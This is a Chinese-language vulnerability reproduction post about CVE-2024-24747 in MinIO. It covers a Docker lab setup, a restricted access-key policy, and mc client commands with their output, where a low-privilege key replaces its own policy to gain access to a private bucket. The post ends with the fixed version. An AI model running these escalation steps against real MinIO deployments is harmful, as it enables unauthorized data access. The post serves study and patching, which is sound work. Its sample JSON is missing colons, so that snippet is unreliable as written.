CVE-2024-24747:MINIO权限提升漏洞

admin 2024年4月19日23:03:25评论8 views字数 3269阅读10分53秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!
作者:Limerence@Timeline Sec
本文字数:1587
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

MinIO 是一种高性能、Amason的S3分布式对象存储。专为大规模AI/ML、数据和数据库工作负载而构建,并且它是由软件定义的存储。

Minio 可以做为云存储的解决方案用来保存海量的图片,视频,文档。由于采用 Golang 实现,服务端可以工作在 Windows,Linux, OS X 和 FreeBSD 上。配置简单,基本是复制可执行程序,单行命令可以运行起来。

0x02 漏洞概述

Minio创建访问密钥时权限继承存在问题,当用户创建访问密钥时,会继承父密钥对s3:*和admin:*的操作权限,如果在访问密钥的权限中未明确拒绝admin权限,访问密钥则能够修改自身权限。攻击者可利用该漏洞提升权限,访问所有部署区域。

0x03 影响版本

Minio < RELEASE.2024-01-31T20-20-33Z

0x04 环境搭建

docker部署

linux通过apt默认安装docker

apt install docker.io    
apt install podman-docker

拉取minio镜像

docker pull minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
RELEASE.2024-01-31T20-20-33Z.fips: Pulling from minio/minio
ea29d36b883e: Pull complete 
0359d5a5b787: Pull complete 
4d3b519e3b96: Pull complete 
991cf94c1e6a: Pull complete 
5fc1cd481df4: Pull complete 
e5cfc0ab0589: Pull complete 
Digest: sha256:cae79732d3a0e12791fc003739127b219dcd528d088b771436f8173ead8d5356
Status: Downloaded newer image for minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
docker.io/minio/minio:RELEASE.2024-01-31T20-20-33Z.fips

创建docker容易挂在目录

mkdir -p /redteam/minio/config(存放配置文件)
mkdir -p /redteam/minio/data(上传文件的目录)

创建minio容器并运行

docker run 
-p 19000:9000 
-p 9090:9090 
--net=host 
--name minio 
-d --restart=always 
-e "MINIO_ACCESS_KEY=minioadmin" 
-e "MINIO_SECRET_KEY=minioadmin" 
-v /redteam/minio/data:/data 
-v /redteam/minio/config:/root/.minio 
 minio/minio server 
/data --console-address ":9090" -address ":19000"
命令 描述
-p 19000:9000 -p 9090:9090 这是端口映射,前一个是服务器的端口,后一个是客户端也就是api接口访问的端口地址
--name minio 这是给新创建的容器命名的选项,名字是 "minio"
--net=host 这是网络设置,表示容器将使用主机的网络栈,这样就不需要在容器内部配置网络
-d --restart=always 这是运行容器的其他选项,-d使容器在后台运行,--restart=always表示容器总是会在退出后自动重启
-e "MINIO_ACCESS_KEY=minioadmin" 用户名
-e "MINIO_SECRET_KEY=minioadmin" 密码
-v /opt/minio/data:/data 这意味着将宿主机上的 /opt/minio/data 目录挂载到容器内的 /data 目录
-v /opt/minio/config:/root/.minio 将宿主机上的 /opt/minio/config 目录挂载到容器内的 /root/.minio 目录
minio/minio server /data --console-address ":9090" -address ":19000" 这是容器内要运行的命令,启动一个名为 "minio" 的服务器,数据存储在 /data 目录下,服务器的控制台地址为 ":9090",服务地址为 ":19000"
换行

访问:http://127.0.0.1:9090/login

使用默认用户名密码登录:minioadmin/minioadmin

创建存储桶public和private

CVE-2024-24747:MINIO权限提升漏洞

创建一个名为"YBPIq4HFF4ewdGhBgYN3"的访问密钥,并附加一下策略

{
 "Version""2012-10-17",
 "Statement": [
  {
   "Effect""Allow",
   "Action": [
    "s3:*"
   ],
   "Resource": [
    "arn:aws:s3:::public",
    "arn:aws:s3:::public/*"
   ]
  }
 ]
}
CVE-2024-24747:MINIO权限提升漏洞

0x05 漏洞复现

前提:已知低权限accesskey和secretkey

安装mc(minio client)客户端工具

wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc
mv mc /usr/local/bin/
mc --version

配置alias

┌──(root㉿kali)-[~/minio-client]
└─# mc alias set poc http://127.0.0.1:19000 accesskey secretkey 
Added `poc` successfully.

显示只有public权限

┌──(root㉿kali)-[~/minio-client]
└─# mc ls poc     
[2024-03-17 21:47:49 EDT]     0B public/

创建一个空的json文件并替换poblicy,空代表所有权限

mc admin user svcacct edit --policy ./full-access-policy.json poc01 accesskey secretkey

查看权限

# mc ls poc01
[2024-03-17 21:47:59 EDT]     0B private/
[2024-03-17 21:47:49 EDT]     0B public/

0x06 修复方式

将minio升级至 RELEASE.2024-01-31T20-20-33Z 及以上版本。

历史漏洞

CVE-2023-28432-前台-POC已公开
CVE-2022-35919-POC已公开
CVE-2021-43858-POC已公开

CVE-2024-24747:MINIO权限提升漏洞

回复【加群】进入微信交流群
回复【SRC群】进入SRC-QQ交流群
回复【新人】领取新人学习指南资料
回复【面试】获取渗透测试常见面试题
回复【合作】获取各类安全项目合作方式
回复【帮会】付费加入SRC知识库学习
回复培训】获取官方直播精品课程详情

视频号:搜索TimelineSec

官方微博:#小程序://微博/tPbUYdN9EucSD4C

哔哩哔哩:https://space.bilibili.com/524591903

觉得有用就收藏起来吧!
顺便点个赞和在看
CVE-2024-24747:MINIO权限提升漏洞

原文始发于微信公众号(Timeline Sec):CVE-2024-24747:MINIO权限提升漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日23:03:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-24747:MINIO权限提升漏洞https://cn-sec.com/archives/2646629.html

发表评论

匿名网友 填写信息